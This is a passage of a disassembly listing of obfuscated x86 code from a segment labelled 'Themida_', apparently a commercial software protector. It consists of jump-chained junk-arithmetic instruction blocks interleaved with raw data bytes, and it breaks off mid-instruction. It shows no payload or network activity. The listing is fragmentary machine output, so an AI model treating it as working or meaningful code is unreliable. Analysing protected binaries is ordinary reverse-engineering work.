loc_54C5A7 ; --------------------------------------------------------------------------- loc_54D982: ; CODE XREF: Themida_:00546BD1j add esi, edi pop edi xchg esi, [esp] mov esp, [esp] jmp loc_54CEE6 ; --------------------------------------------------------------------------- dd 24048B66h, 721FE953h, 85E9FFFFh, 56FFFF5Fh, 0ADE95E54h dd 66FFFF94h, 7341E951h, 400FFFFh, 6DE99C24h, 0BFFFFF5Fh dd 105822h, 3480B850h, 0E9401ED0h, 0FFFFAAF2h, 8843B551h dd 0C592E9ECh, 4B9FFFFh, 0E9000000h, 0FFFF8F72h, 3D09272Dh dd 4EC812Ah, 89000000h, 0C9BF243Ch, 5658F406h, 775525BEh dd 0C4E9576Bh, 1FFFF87h, 5EEA81C2h, 0E9063811h, 0FFFF6EC2h dd 0CDE9D829h, 1FFFFFFh, 0FF5259CAh, 5A042474h, 8B24048Fh dd 74E92424h, 5CFFFF98h, 0B60F66h, 0E904EC83h, 0FFFFA93Ah dd 5CDAE281h, 0EA8121BEh, 18D82180h, 0B8BD554Ah, 0E95AFD71h dd 0FFFFC456h, 0E9028F64h, 0FFFF5ED4h, 72686655h, 665D661Fh dd 66945FB9h, 2C8BE929h, 4C48124h, 66000000h, 317BC181h dd 2EC18166h, 6657667Fh, 665DFEBFh, 79E9F901h, 5BFFFF6Dh dd 0C281EA01h, 75831A2Fh, 0FFDE9CE9h db 0FFh ; --------------------------------------------------------------------------- loc_54DA8D: ; CODE XREF: Themida_:0054CA0Dj xor ebx, 102A5C75h sub ecx, 0C6802EDh add ecx, ebx add ecx, 0C6802EDh pop ebx push 4322h mov [esp], ebp jmp loc_54BC42 ; --------------------------------------------------------------------------- loc_54DAAF: ; CODE XREF: Themida_:0054DB53j push esp pop eax jmp loc_549B3E ; --------------------------------------------------------------------------- dw 34FFh dd 0DEE95824h, 66FFFF82h, 68240C8Bh, 0BA1h, 0FF807DE9h db 0FFh ; --------------------------------------------------------------------------- loc_54DACD: ; CODE XREF: Themida_:0054D949j inc edx dec edx or edx, 30C90FEBh shr edx, 8 push ebp mov ebp, 40946199h neg ebp shl ebp, 7 push ecx mov ecx, 9D43D00h add ebp, ecx pop ecx add edx, ebp pop ebp xor eax, edx mov edx, [esp] add esp, 4 add edi, eax jmp loc_5481C2 ; --------------------------------------------------------------------------- db 0FFh, 77h, 1Ch dd 1858669Dh, 0E99C2404h, 0FFFF5E14h, 5F35512Dh, 8E0C121h dd 72F52435h, 481509Fh, 0E10A6E24h, 0EF815F15h, 15E10A6Eh dd 1378E958h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54DB32: ; CODE XREF: Themida_:00544CBBj pop dword ptr [esp] mov esp, [esp] mov [esp], edx jmp loc_543924 ; --------------------------------------------------------------------------- loc_54DB40: ; CODE XREF: Themida_:0054C510j add ecx, 0FFFFFFFFh add ecx, 0CEC51471h and eax, ecx push dword ptr [esp] pop ecx push eax jmp loc_54DAAF ; --------------------------------------------------------------------------- dd 4EC815Eh, 89000000h, 36E9243Ch, 1FFFF5Fh, 2CE95AD6h dd 89FFFFECh, 2682414h, 8B000000h, 47E92414h db 74h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54DB7F: ; CODE XREF: Themida_:0054E80Cj not edi sub edi, 1F960CE3h sub edx, 1B513B20h sub edx, edi add edx, 1B513B20h pop edi add edx, ebp add edx, 60492AF5h push ebp mov ebp, 0CDC5CD6h add edx, ebp pop ebp mov ebp, [esp] add esp, 4 jmp loc_546046 ; --------------------------------------------------------------------------- aNhlx db 'h‹X',0 dw 8900h dd 6FE92404h, 0DFFFF7Eh, 56BE7ECAh, 3F52A725h, 5ACA2D38h dd 0E2E980E0h db 94h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54DBD7: ; CODE XREF: Themida_:005443E2j push 0 sub [esp], esi pop esi xor esi, 69492898h push esi sub dword ptr [esp], 67FB1763h push dword ptr [esp] pop edx jmp loc_547F33 ; --------------------------------------------------------------------------- db 0C1h dd 0BA5208EDh, 6E430EA9h, 0FF923FE9h db 0FFh ; --------------------------------------------------------------------------- loc_54DC05: ; CODE XREF: Themida_:0054A8A9j push edi jmp loc_54A572 ; --------------------------------------------------------------------------- db 0FFh dd 51582434h, 0C1815954h, 4, 3FE168h, 241C8900h, 0FF6F1CE9h dd 0B05066FFh, 66C130C4h, 5724048Bh, 0C781E789h, 4, 0E902C783h dd 0FFFFE8D5h ; --------------------------------------------------------------------------- loc_54DC40: ; CODE XREF: Themida_:0054E25Aj xchg edi, [esp] mov esp, [esp] add esp, 4 jmp loc_54ED7D ; --------------------------------------------------------------------------- dw 5150h dd 0E888D588h, 15F8E959h, 0E9530000h, 0FFFFD990h ; --------------------------------------------------------------------------- loc_54DC60: ; CODE XREF: Themida_:0054BAF6j push 366Ch jmp loc_54F75F ; --------------------------------------------------------------------------- dw 0E1C1h dd 8DB85008h, 402FB323h, 1056D735h, 0FFC08335h, 1B5DE9h db 0 ; --------------------------------------------------------------------------- loc_54DC81: ; CODE XREF: Themida_:00549F1Aj push edx push edi mov edi, 183A0261h mov edx, edi mov edi, [esp] add esp, 4 not edx sub edx, 0E7C5FD9Ah add eax, edx pop edx jmp loc_544169 ; --------------------------------------------------------------------------- db 8Bh dd 0C483240Ch, 0BE2FE904h, 0D831FFFFh, 0E9241C8Bh, 0FFFFB738h dd 81241C8Bh, 4C4h, 24048F00h, 6624248Bh, 68240C8Bh, 1197h dd 54241C89h, 0E9241C8Bh, 0FFFFA355h, 1380A2Dh, 47112570h dd 6505527Eh, 89E6382Fh, 0AD60E9C2h, 0D831FFFFh, 8E685051h dd 580D585Dh, 48BC189h, 4C48324h, 52BBBA52h, 0D2F75DB7h dd 0FF6CF4E9h db 0FFh ; --------------------------------------------------------------------------- loc_54DD11: ; CODE XREF: Themida_:00547EA7j shr ecx, 7 jmp loc_5487E6 ; --------------------------------------------------------------------------- loc_54DD19: ; CODE XREF: Themida_:0054D097j push eax mov eax, 6ADB2952h xor eax, 4C9E2E71h neg eax jmp loc_545DFC ; --------------------------------------------------------------------------- db 53h dd 0FFBF7EE9h db 0FFh ; --------------------------------------------------------------------------- loc_54DD31: ; CODE XREF: Themida_:005453E8j mov ebp, ebx mov ebx, [esp] push 502Eh mov [esp], eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp jmp loc_54546F ; --------------------------------------------------------------------------- db 0E9h, 0CEh, 5Bh dd 0D901FFFFh, 653FE981h, 0E98103E5h, 7BE60AB9h, 240C875Bh dd 2D24248Bh, 0D641515h, 26A7BB53h, 0E3812F86h, 3B4D404Fh dd 0FFAEDAE9h, 6EBC1FFh, 0C77FF381h, 814B7D5Ah, 2C2E7AC3h dd 0C0EB8174h, 0E9421176h, 0FFFFD5C8h, 5A5DF581h, 0A6E94F0Ah dd 1FFFFECh, 0DCEB81EBh, 8B474548h, 0C483242Ch, 74FF5304h dd 8F5B0424h, 665C2404h, 2404A30Fh, 5B5AE99Ch, 0E955FFFFh dd 0FFFFEBC5h, 0BC2AE95Ah, 0C681FFFFh, 30AC1A19h, 0FFDA51E9h db 0FFh ; --------------------------------------------------------------------------- loc_54DDE1: ; CODE XREF: Themida_:0054A00Cj xchg esi, [esp] pop esp shr eax, 0Ch jmp loc_546220 ; --------------------------------------------------------------------------- db 0BDh, 4, 0 dd 0EA010000h, 2C2815Dh, 87000000h, 248B2414h, 0F5E7E924h dd 1C89FFFFh, 8E4FE924h, 0F001FFFFh, 2404875Eh, 0FFF80AE9h dd 4BA52FFh, 29000000h, 34875AD6h, 0C895C24h, 4E44B924h dd 0D9F75E23h, 7B4EE957h, 0C483FFFFh, 0E0895004h, 405h dd 42D00h, 8AE90000h, 0FFFFB1h, 45B58C1h, 0B1516612h, 66C828ACh dd 0E9C80059h, 0FFFF7C44h ; --------------------------------------------------------------------------- loc_54DE60: ; CODE XREF: Themida_:0054A071j mov edx, 197B08CAh or edx, 665677E7h and edx, 58FC0956h not edx sub edx, 0A783F6B5h jmp loc_549FCC ; --------------------------------------------------------------------------- dw 4B8h dd 81000000h, 0CE0400C2h, 8C7BE932h, 3B68FFFFh, 0E9000013h dd 0FFFFA3EEh ; --------------------------------------------------------------------------- loc_54DE98: ; CODE XREF: Themida_:00549B8Fj sub esp, 4 mov [esp], ecx mov ecx, 28h mov edx, ecx pop ecx sub edx, 17F0E5Dh add edx, edi sub esp, 4 mov [esp], esi mov esi, 17F0E5Dh sub edx, 5A7E6A29h add edx, esi add edx, 5A7E6A29h pop esi push dword ptr [edx] xor dword ptr [esp], 429B7BD8h pop eax xor eax, 429B7BD8h push dword ptr [esp] mov edx, [esp] jmp loc_544B09 ; --------------------------------------------------------------------------- db 0FFh, 74h, 24h dd 1E95904h, 29FFFFA7h, 6F85E9F7h, 0D6F6FFFFh, 48E9F086h dd 66FFFFE8h, 0A0E99C50h, 5FFFFFA8h, 8B243487h, 0F1F62424h dd 0CCB60F66h, 7FF46866h, 240C8966h, 0C8B60F66h, 0E99C5166h dd 0FFFF59FCh, 0EA48B2BDh, 7881E90Ch, 8A04FFFFh, 8A2CD000h dd 0FFECDCE9h db 0FFh ; --------------------------------------------------------------------------- loc_54DF3D: ; CODE XREF: Themida_:0054A4ACj mov ebx, 4 add ebp, ebx pop ebx push edi mov edi, 4 add ebp, edi jmp loc_54F025 ; --------------------------------------------------------------------------- dw 0E948h dd 0FFFF7E19h, 0C75106BAh, 0C2F28169h, 31BA18A2h, 0FE015AD7h dd 2C6815Fh, 87000000h, 665C2434h, 2404BB0Fh, 59A6E99Ch dd 0C483FFFFh, 8BEF0104h, 0C481242Ch, 4, 0FF6DFBE9h db 0FFh ; --------------------------------------------------------------------------- loc_54DF91: ; CODE XREF: Themida_:0054BBB5j pop esi jmp loc_54505B ; --------------------------------------------------------------------------- loc_54DF97: ; CODE XREF: Themida_:00546183j push ebx mov ebx, esp add ebx, 4 add ebx, 2 xchg ebx, [esp] pop esp add al, dh jmp loc_54A3AF ; --------------------------------------------------------------------------- dw 0ED81h dd 0B11CDE16h, 535DE809h, 0FFADD3E9h db 0FFh ; --------------------------------------------------------------------------- loc_54DFBD: ; CODE XREF: Themida_:00546D7Aj add esp, 4 add ebx, 4 push edi push 4 pop edi add ebx, 19EF6ECCh add ebx, edi sub ebx, 19EF6ECCh pop edi xchg ebx, [esp] pop esp jmp loc_54ED04 ; --------------------------------------------------------------------------- dd 2404095Ch, 0E1CDE99Ch, 5AFFFFh, 6D47E9D8h, 68FFFFh dd 0E9000000h, 0FFFFC19Dh, 575BDD01h, 58E95750h, 0BAFFFFCEh dd 79981A02h, 4245429h, 0E9h, 0C8B5A00h, 4C48124h, 81000000h dd 981A02C1h, 0D4E95F79h db 0C4h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54E033: ; CODE XREF: Themida_:005494C6j inc ebx not ebx push ebx not dword ptr [esp] pop ebx sub ebx, 1ACC5BA4h jmp loc_54C18B ; --------------------------------------------------------------------------- dw 2BBh dd 57000000h, 0F639A7BFh, 5FF90106h, 42BFC181h, 0D9014299h dd 42BFE981h, 0E9814299h, 6F639A7h, 0FFDD16E9h, 0E305ADFFh db 5Bh, 83h, 16h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edx jmp loc_5468B3 ; --------------------------------------------------------------------------- db 29h dd 794D68F3h, 0C890000h, 5396B924h, 0CB2949ADh, 81240C8Bh dd 4C4h, 0E9555E00h, 0FFFF99D5h, 4BEh, 5EF00100h, 4BF5753h dd 0E9000000h, 0FFFFC953h, 0BE56D801h, 6CC02104h, 0E926EE81h dd 0ABE95EDCh db 9Ah, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54E0D3: ; CODE XREF: Themida_:0054BB5Cj mov edx, 8284EA7h xor edx, 8284EA3h jmp loc_54D6D7 ; --------------------------------------------------------------------------- db 0BFh dd 41635E03h, 8103E7C1h, 0E50FEAC7h, 5FFD89F4h, 0FF816EE9h db 0FFh ; --------------------------------------------------------------------------- loc_54E0F9: ; CODE XREF: Themida_:00543D07j mov [esp], ebp mov ebp, 3C3C49D6h push edi jmp loc_54ED90 ; --------------------------------------------------------------------------- loc_54E107: ; CODE XREF: Themida_:00548C09j push eax mov eax, 5F815194h push ebx mov ebx, 0FD5ACB65h mov ebp, ebx pop ebx add ebp, eax jmp loc_546665 ; --------------------------------------------------------------------------- db 31h, 0Ch, 24h dd 141EE9h, 0C895C00h, 0E9595424h, 0DEDh ; --------------------------------------------------------------------------- loc_54E130: ; CODE XREF: Themida_:00544CE4j mov [esp], eax jmp loc_543924 ; --------------------------------------------------------------------------- dd 0C381E389h, 4, 4C381h, 1C870000h, 0C6835C24h, 4EC8302h dd 0E9243489h, 0FFFFEDE8h, 0E95AD101h, 10DBh, 0E953D001h dd 0FFFFA98Dh, 0E9CBB252h, 0FFFFFDC2h, 4BD55h, 0B9510000h dd 56EA5F1Dh, 0FF9359E9h, 0FD895EFFh, 58C1055Fh, 0E80100FDh dd 0FFE816E9h, 241C87FFh, 243C895Ch, 3E9E789h, 1000015h dd 0BCEB81FBh, 5F255602h, 75E9008Fh db 57h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54E1AF: ; CODE XREF: Themida_:0054B477j push esi mov esi, esp add esi, 4 jmp loc_543F7D ; --------------------------------------------------------------------------- db 0B9h, 4, 0 dd 48E90000h db 0F8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54E1C7: ; CODE XREF: Themida_:0054D8D9j push edi jmp loc_5453D8 ; --------------------------------------------------------------------------- db 0FFh, 77h, 1Ch dd 6658669Dh, 9C240411h, 0FF5747E9h db 0FFh ; --------------------------------------------------------------------------- loc_54E1DD: ; CODE XREF: Themida_:00545CE6j add esi, eax pop eax add edi, esi pop esi jmp loc_549E84 ; --------------------------------------------------------------------------- dd 0E95FFD31h, 0FFFFB3EAh, 66C0B60Fh, 0E924148Bh, 0FFFFBFD0h dd 71F5E951h, 0C681FFFFh, 586E1B66h, 74D3B850h, 0B7E96A01h dd 89FFFFE2h, 6DBB241Ch, 0E906D246h, 0FFFF8BABh, 1A2FBB53h dd 0DA297583h, 0FFF852E9h db 0FFh ; --------------------------------------------------------------------------- loc_54E22D: ; CODE XREF: Themida_:0054606Fj sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop edi push 3EEBh mov [esp], esi mov esi, 4 add edi, 90027F3h add edi, esi sub edi, 90027F3h pop esi add edi, 4 jmp loc_54DC40 ; --------------------------------------------------------------------------- db 89h dd 0D305E9E9h, 0E189FFFFh, 0EEBE56h, 0EE810734h, 73400EAh dd 525EF101h, 4BAh, 5AD10100h, 0FF9590E9h db 0FFh ; --------------------------------------------------------------------------- loc_54E285: ; CODE XREF: Themida_:00546B60j mov eax, esp jmp loc_54A076 ; --------------------------------------------------------------------------- dd 864BE958h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54E292: ; CODE XREF: Themida_:0054B4D9j pop edx add ebp, 6C8536B2h push edx jmp loc_54730D ; --------------------------------------------------------------------------- loc_54E29F: ; CODE XREF: Themida_:0054EE11j add dword ptr [esp+4], 18844A51h jmp loc_549E4E ; --------------------------------------------------------------------------- dd 6DE94A66h, 33FFFF81h, 88E92414h db 0C7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54E2BB: ; CODE XREF: Themida_:0054EAA6j shl edx, 1 shr edx, 7 jmp loc_54C52C ; --------------------------------------------------------------------------- db 58h, 5, 4 dd 5000000h, 4, 5C240487h, 32EA68h, 98CAE900h, 2C89FFFFh dd 6975E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54E2E6: ; CODE XREF: Themida_:0054D58Cj mov ecx, esp add ecx, 4 add ecx, 4 xor ecx, [esp] xor [esp], ecx xor ecx, [esp] pop esp push ebp jmp loc_54FB0C ; --------------------------------------------------------------------------- db 46h, 0F7h, 0D6h dd 3C48F681h, 0EE811F59h, 0E5DAA90Ah, 0E91C7709h, 0FFFFD3BDh dd 0EC81E9F7h, 4, 0E9240C89h, 0FFFF6E06h, 0B06E7BBh, 827EE9D7h dd 0C201FFFFh, 4C5BD55h, 0E5C17ED0h, 0FA5AE902h, 835FFFFFh dd 0FF5304C3h, 5B042474h, 0E924048Fh, 0FFFFF2FDh, 4C481h dd 0EDE90000h, 81000009h, 9F42A1CBh, 0D10E914h, 1C8B0000h dd 4C48324h, 0FF55AFE9h db 0FFh ; --------------------------------------------------------------------------- loc_54E375: ; CODE XREF: Themida_:0054A0FEj sub esi, eax pop eax sub eax, esi pop esi push ebx push ebp jmp loc_546281 ; --------------------------------------------------------------------------- loc_54E382: ; CODE XREF: Themida_:0054983Bj shr ebp, 8 shl ebp, 1 xor ebp, 58517A75h shl ebp, 8 push esi mov esi, 1BB0D84h xor ebp, esi pop esi or ebp, 5EDF2022h jmp loc_54BEF2 ; --------------------------------------------------------------------------- dd 241C335Fh, 0E9241C31h, 19B3h, 2D04C483h, 68D51421h dd 0D168A02Dh, 6D590D68h, 0E8C175A4h, 71BE5606h, 816C162Fh dd 0D9794BF6h, 99C68147h, 141CF5Eh, 0C1895EF0h, 0FFB197E9h dd 243C8BFFh, 104C483h, 0A987E9C1h, 77FFFFFFh, 59669D1Ch dd 241CD366h, 0AF3BE99Ch, 0EC83FFFFh, 24048904h, 2BB53h dd 58530000h, 6C6E95Bh db 2 dup(0) ; --------------------------------------------------------------------------- loc_54E412: ; CODE XREF: Themida_:005458BCj add edi, 4 sub esp, 4 jmp loc_5480B0 ; --------------------------------------------------------------------------- db 56h dd 2434FF5Bh, 0E924348Bh, 0FFFF8086h, 2404315Ch, 54EAE99Ch dd 2C81FFFFh, 9F5C8C24h, 242C8164h, 3C8030F3h, 2E242C81h dd 0E91C9A03h, 0FFFF54D0h, 53C104ACh, 0DBF6FBB3h, 805CF380h dd 0E38039F3h, 80DBF661h, 0D800D7EBh, 3C045Bh, 683C2CD8h dd 6162h, 0B2241489h, 0AEDEE9C9h, 8B66FFFFh, 89522404h dd 0A449E9E2h, 0BA52FFFFh, 3C483682h, 295AD329h, 1B4468C3h dd 4890000h, 6B596824h, 2D58768Dh, 1367268Bh, 272B3E05h dd 0E4FBE902h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54E4B6: ; CODE XREF: Themida_:00544A26j push ecx mov ecx, 2Ch add ecx, edi jmp loc_5480DC ; --------------------------------------------------------------------------- db 9 dd 0B85059CDh, 54963094h, 958C501h, 242C8BEEh, 8104C483h dd 0B33A63EEh, 5EF7011Bh, 0E271EF81h, 0F8316EF5h, 0FFE590E9h dd 31E95CFFh, 68FFFF54h, 5912h, 54241489h, 4EC815Ah, 89000000h dd 73E92404h, 5EFFFFC4h, 3358C701h, 3C31243Ch, 243C3324h dd 6424248Bh, 0E9028966h, 0FFFF5400h, 2BE56h, 0DBE90000h db 0Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_54E52F: ; CODE XREF: Themida_:0054991Ej mov edx, 0 jmp loc_54A8F2 ; --------------------------------------------------------------------------- db 0B8h, 4, 0 dd 0C6890000h, 24740158h, 48F5E04h, 464A6824h, 0F0E90000h dd 66FFFF6Bh, 0E924048Bh, 516h, 4E0C148h, 9D13E951h, 0C781FFFFh dd 2C334446h, 0EF81EF01h, 2C334446h, 146FC781h, 93E93737h dd 83FFFFE4h, 0C3304E9h, 240C3124h, 0FFD6DDE9h, 0D6E95BFFh dd 5C000004h, 0FC33166h, 6866C0B7h, 89666BE4h, 7DE92404h db 53h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54E5A7: ; CODE XREF: Themida_:00546AE2j xor edi, 5EAB09A6h push ebp mov ebp, 3FF03248h add ebp, 7310B976h sub edi, ebp jmp loc_549A1F ; --------------------------------------------------------------------------- dd 0E9028F66h, 0FFFF535Ch, 3304C483h, 14312414h, 24143324h dd 0C8B70F5Ch, 229968h, 16D6E900h, 0C4830000h, 71BE5604h dd 156B45Ah, 1DE95EF0h, 66000000h, 666705BAh, 5A66D121h dd 2EF18166h, 0F3A1E953h, 2B2DFFFFh, 0E9BDC56Ah, 0FFFF90ABh dd 0FA56FE2Dh, 9E78E91Ch, 1431FFFFh, 24143324h, 240CFE5Ch dd 52FAE99Ch, 0E089FFFFh, 0FFC720E9h, 2474FFFFh, 0EC10E904h dd 0D6F7FFFFh, 5EAFE946h, 8F5AFFFFh, 815C2404h, 2C2h, 24143300h dd 0E9241431h, 0FFFFFC5Bh, 5AD30166h, 66D80166h, 0E9241C8Bh dd 0BF3h, 8005E6C0h, 0B450CDE6h, 80D4F638h, 0E4C0CEECh dd 0F4B15106h, 8006E9C0h, 6CE9D5C1h, 81FFFFACh, 6D49CBC7h dd 81EF011Dh, 6D49CBEFh, 242C8B1Dh, 5704C483h, 42474FFh dd 24048F5Fh, 0E924248Bh, 0FFFF5278h, 8BE9D5F7h, 57FFFF7Ah dd 0C36FE9BFh, 9E4BE903h, 0D9F7FFFFh, 79A3C181h, 0B850293Bh dd 4E6576A4h, 0A825E72Dh, 9C12E945h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54E6D6: ; CODE XREF: Themida_:0054A8BEj push ebx mov ebx, 4F115095h xor [esp+4], ebx mov ebx, [esp] add esp, 4 mov eax, [esp] add esp, 4 xor eax, 4F115095h pop edx push ebx mov ebx, 80F18EBh push esi mov esi, 51D07789h not esi sub esi, 71847C31h not esi jmp loc_54F365 ; --------------------------------------------------------------------------- loc_54E70D: ; CODE XREF: Themida_:005471BEj add ebp, 34D41579h sub ebp, 87F93729h push ebp sub dword ptr [esp], 3C530B96h pop esi add esi, 3C530B96h pop ebp jmp loc_549941 ; --------------------------------------------------------------------------- dw 0C481h dd 4, 8124048Fh, 42404h, 0ECE90000h, 0C1000003h, 4AE906E2h dd 56FFFFCDh, 0F089FE89h, 0A594E95Eh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54E756: ; CODE XREF: Themida_:00549A6Dj shr edx, 7 and edx, 242E032Ah and edx, 65F6A66h sub edx, 0AA6FCA52h add esi, edx pop edx jmp loc_54CC36 ; --------------------------------------------------------------------------- db 88h dd 9298E9EAh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54E77A: ; CODE XREF: Themida_:0054D27Aj push ecx jmp loc_547FB4 ; --------------------------------------------------------------------------- loc_54E780: ; CODE XREF: Themida_:0054A8FCj inc edi neg edi push ecx jmp loc_544735 ; --------------------------------------------------------------------------- db 81h, 0F3h, 3Fh dd 0E9582378h, 0FFFFE11Dh, 5750E789h, 1C1529BFh, 5E7C150h dd 0FFA863E9h db 0FFh ; --------------------------------------------------------------------------- loc_54E7A5: ; CODE XREF: Themida_:0054CDB8j mov edx, esi pop esi sub [esp+4], edx pop edx jmp loc_54C3E2 ; --------------------------------------------------------------------------- loc_54E7B2: ; CODE XREF: Themida_:00547A5Aj pop eax jmp loc_54A0AF ; --------------------------------------------------------------------------- dd 6EAC15Bh, 7467F281h, 0CA816EBCh, 522E1D99h, 0F1F281h dd 0EA8132E1h, 4DDF1D48h, 0CAE9D001h db 89h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54E7DB: ; CODE XREF: Themida_:0054B793j mov ecx, 4 sub edx, ecx pop ecx xchg edx, [esp] pop esp mov [esp], eax push ebx push 0A4B5885h pop ebx add ebx, 0F5B4A77Ch mov eax, ebx jmp loc_54CF0C ; --------------------------------------------------------------------------- loc_54E7FE: ; CODE XREF: Themida_:00545C70j mov edi, 2D33539Eh dec edi not edi xor edi, 52EC6445h jmp loc_54DB7F ; --------------------------------------------------------------------------- db 5Eh, 55h, 0E9h dd 616h, 2BFh, 63E98100h, 1096409h, 0E474E9F9h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54E82A: ; CODE XREF: Themida_:00544780j pop eax sub eax, 4D6A5C09h jmp loc_5461E1 ; --------------------------------------------------------------------------- db 8Bh, 34h, 24h dd 0FFFEF1E9h, 647E68FFh, 0C15F4AE1h, 0E78104E7h, 73D51CFFh dd 0FFDA41E9h, 9C0BFFFh, 0EF81091Dh, 91D09BCh, 6FE768h dd 243C8900h, 0FFDFFBE9h db 0FFh ; --------------------------------------------------------------------------- loc_54E869: ; CODE XREF: Themida_:0054C37Aj mov [esp], esi mov esi, esp add esi, 4 jmp loc_5450C4 ; --------------------------------------------------------------------------- db 0F7h, 0DDh, 81h dd 301D16C5h, 5DE82988h, 8324148Bh, 42D04C4h, 0E9000000h dd 0FFFF7315h, 0E92434FFh, 0FFFF6C82h, 33243C31h, 33E9243Ch dd 0B8FFFFD3h, 8C50A8Ah, 0FF6E4EE9h db 0FFh ; --------------------------------------------------------------------------- loc_54E8B1: ; CODE XREF: Themida_:0054866Aj add eax, esi jmp loc_549E6E ; --------------------------------------------------------------------------- loc_54E8B8: ; CODE XREF: Themida_:00544701j xchg edx, [esp] pop esp push 7A98h jmp loc_54A2B9 ; --------------------------------------------------------------------------- dw 4BDh dd 1000000h, 0C2815DEAh, 4, 5C241487h, 0FFE44AE9h, 32EB80FFh dd 96F38059h, 0DBE95066h, 83FFFFE0h, 548A04C4h, 4C880424h dd 0C8B0424h, 4C48124h, 86000000h, 86D1F6CAh, 241486CAh dd 0FF5017E9h, 0DA015FFFh, 57241C8Bh, 0C781E789h, 4, 0FFA8C0E9h dd 24248BFFh, 0FFE24EE9h db 0FFh ; --------------------------------------------------------------------------- loc_54E929: ; CODE XREF: Themida_:00543ABFj sub esi, ebp pop ebp add esi, 101C1Fh push ebx mov ebx, 23A4465Eh neg ebx shr ebx, 6 not ebx shr ebx, 7 shr ebx, 3 add ebx, 68FEC00Ah add esi, 5C465826h add esi, ebx sub esi, 5C465826h mov ebx, [esp] add esp, 4 mov eax, esi pop esi sub [esp+4], eax mov eax, [esp] push edi mov edi, esp add edi, 4 add edi, 4 push edi push dword ptr [esp+4] mov edi, [esp] add esp, 4 pop dword ptr [esp] pop esp mov eax, [esp] jmp loc_54FA03 ; --------------------------------------------------------------------------- db 0B4h dd 0E920E936h, 8B66FFFFh, 0FBE9240Ch, 89FFFF8Dh, 74FF2404h dd 8F580424h, 0FF5C2404h, 148B2434h, 0AF24E924h, 8B66FFFFh dd 3268240Ch, 8900000Ch, 0E954240Ch, 0FFFF69E7h, 0F602E7C0h dd 0F0EF80D7h, 0C780C7FEh, 58E700A4h, 5B66FA30h, 0FF8BE7E9h dd 84B850FFh, 8130C579h, 7608246Ch, 1650D6Fh, 81082444h dd 76082444h, 58650D6Fh, 4244C01h, 4246C81h, 30C57984h dd 0B9515A59h, 0C1A6316h, 0E906E1C1h, 0FFFFBB9Fh, 34FFF831h dd 2434FF24h, 0F234E95Fh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54EA26: ; CODE XREF: Themida_:005471C6j mov edi, 0C762AB1h push edi jmp loc_543D4D ; --------------------------------------------------------------------------- db 21h, 0DEh, 8Bh dd 0C483241Ch, 0CEE8104h, 10AD110h, 24348BF1h, 8104C483h dd 2C1h, 240C3300h, 0FFC100E9h, 0E28952FFh, 4C281h, 0C2810000h dd 4, 0FFC5AEE9h, 24048FFFh, 0C759E95Ch, 6856FFFFh, 57E8h dd 81242489h, 42404h, 348B0000h, 5CFBE924h, 8966FFFFh dd 0FAB02404h, 0FF586DE9h db 0FFh ; --------------------------------------------------------------------------- loc_54EA95: ; CODE XREF: Themida_:0054BF85j sub edx, 6FE1275Ch sub edx, 38F65106h xchg ecx, edx dec ecx xchg ecx, edx jmp loc_54E2BB ; --------------------------------------------------------------------------- loc_54EAAB: ; CODE XREF: Themida_:0054BAA8j add ebx, ecx pop ecx mov esi, ebx pop ebx push ebx mov ebx, 55060098h shl ebx, 6 sub ebx, 190AE955h or esi, ebx mov ebx, [esp] jmp loc_54C7E9 ; --------------------------------------------------------------------------- dw 5E54h dd 4C681h, 0E9510000h, 0FFFFCCA3h, 48BC701h, 4C48124h dd 57000000h, 42474FFh, 24048F5Fh, 288645Ch, 0FF4E2FE9h dd 240C8BFFh, 81E18951h, 4C1h, 4C18100h, 87000000h, 875C240Ch dd 665C242Ch, 9C243CD3h, 0FF4E0BE9h, 0C8B66FFh, 0AD1EE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54EB22: ; CODE XREF: Themida_:00545ED6j mov [esp], esi push dword ptr [esp+4] pop esi jmp loc_543E41 ; --------------------------------------------------------------------------- db 8Bh dd 0C481242Ch, 4, 4C581h, 0C5810000h, 2, 0E9242C33h, 0FFFF7230h dd 0E9242489h, 0FFFFCD3Fh ; --------------------------------------------------------------------------- loc_54EB54: ; CODE XREF: Themida_:0054BBFBj mov [esp], ebp push 14BC4B0Ch pop ebp add eax, ebp pop ebp push edi jmp loc_5459C2 ; --------------------------------------------------------------------------- dw 0F5Ch dd 0C7E9C8AFh, 0BEFFFFEDh, 4, 43E9F201h db 0B2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54EB7B: ; CODE XREF: Themida_:00547616j pop ebx sub ebx, 591A6880h xor ebx, 29AD3565h dec ebx jmp loc_54393C ; --------------------------------------------------------------------------- dw 6852h dd 2, 0B857E95Ah, 0E589FFFFh, 4C581h, 0ED810000h, 4, 5C242C87h dd 0BF243C89h, 2, 2CC8C581h, 0ED81588Dh, 7E185449h, 0B850FD01h dd 22FD5599h, 35E95140h, 0BAFFFFB8h, 4, 1B9EBD55h, 0E8011CFBh dd 0FF625FE9h db 0FFh ; --------------------------------------------------------------------------- loc_54EBE1: ; CODE XREF: Themida_:00544641j mov [esp], edx jmp loc_549CF1 ; --------------------------------------------------------------------------- db 87h, 14h, 24h dd 2404895Ch, 0FF6000E9h db 0FFh ; --------------------------------------------------------------------------- loc_54EBF5: ; CODE XREF: Themida_:0054C85Fj push dword ptr [esp] pop eax add 